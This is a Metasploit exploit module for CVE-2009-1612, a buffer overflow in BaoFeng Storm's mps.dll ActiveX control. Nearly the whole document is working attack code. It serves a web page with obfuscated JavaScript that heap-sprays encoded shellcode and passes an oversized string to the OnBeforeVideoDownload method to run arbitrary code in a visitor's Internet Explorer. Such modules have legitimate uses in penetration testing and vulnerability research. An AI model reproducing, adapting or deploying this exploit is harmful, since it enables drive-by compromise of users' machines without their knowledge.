BaoFeng Storm – ‘mps.dll’ ActiveX OnBeforeVideoDownload Buffer Overflow (Metasploit)
## # $Id: baofeng_storm_onbeforevideodownload.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing an overly long string to the method "OnBeforeVideoDownload" an attacker can execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 9179 $', 'References' => [ [ 'CVE', '2009-1612' ], [ 'OSVDB', '54169' ], [ 'BID', '34789' ], [ 'URL', 'http://www.exploit-db.com/exploits/8579' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ # untested, please contribute the vulnerable software if possible. [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ] ], 'DisclosureDate' => 'Apr 30 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # ActiveX parameters clsid = "6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" progid = "MPS.StormPlayer.1" # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Prepare the heap spray parameters spray_addr = 0x0c0c0c0c spray_num = "0x%x" % spray_addr spray_str = Rex::Text.to_hex([spray_addr].pack('V'), '%') # Generate the final javascript js = %Q| try { var vulnerable = new ActiveXObject('#{progid}'); var my_unescape = unescape; var shellcode = '#{shellcode}'; #{js_heap_spray} sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000); var evil_string = ''; while (evil_string.length < 4150) evil_string += my_unescape('#{spray_str}'); vulnerable.OnBeforeVideoDownload(evil_string); } catch( e ) { window.location = 'about:blank' ; } | # Obfuscate the javascript opts = { 'Strings' => true, 'Symbols' => { 'Variables' => %w{ vulnerable shellcode my_unescape index evil_string } } } js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) js.update_opts(js_heap_spray.opts) js.obfuscate() # Generate the final HTML content = %Q|<html> <body> <script><!-- #{js} //</script> </body> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |